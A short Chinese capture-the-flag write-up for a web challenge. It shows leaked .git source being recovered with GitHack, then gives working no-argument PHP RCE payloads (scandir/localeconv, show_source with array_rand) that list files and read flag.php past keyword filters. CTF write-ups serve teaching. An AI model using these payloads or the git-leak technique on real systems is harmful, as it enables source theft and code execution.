考点:
1、git源文件泄露
2、rce无参构造((28条消息) 初学无参数RCE_浑水摸鱼的咸鱼的博客-CSDN博客)
实操:
点开题目,上来就是找flag;
f12一点提示都没有,所以果断选择扫一把,发现了.git文件,使用githack获取源文件
GitHack使用语句:GitHack.py http://www.target.com/.git/
查看index.php
阅读后发现,将伪协议进行了过滤(个人感觉没必要过滤,不理解),并且是无参数构造,最后还禁用了一些关键字;
通过scandir('.')查看根目录下的文件
payload:print_r(scandir(current(localeconv())));
发现了flag.php,再次构进行读取:
payload:print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
因为使用了这个函数(array_rand)如果第一次尝试没有出现flag,多次刷新就好了;
当然这个姿势并不唯一(uu们 可以多尝试);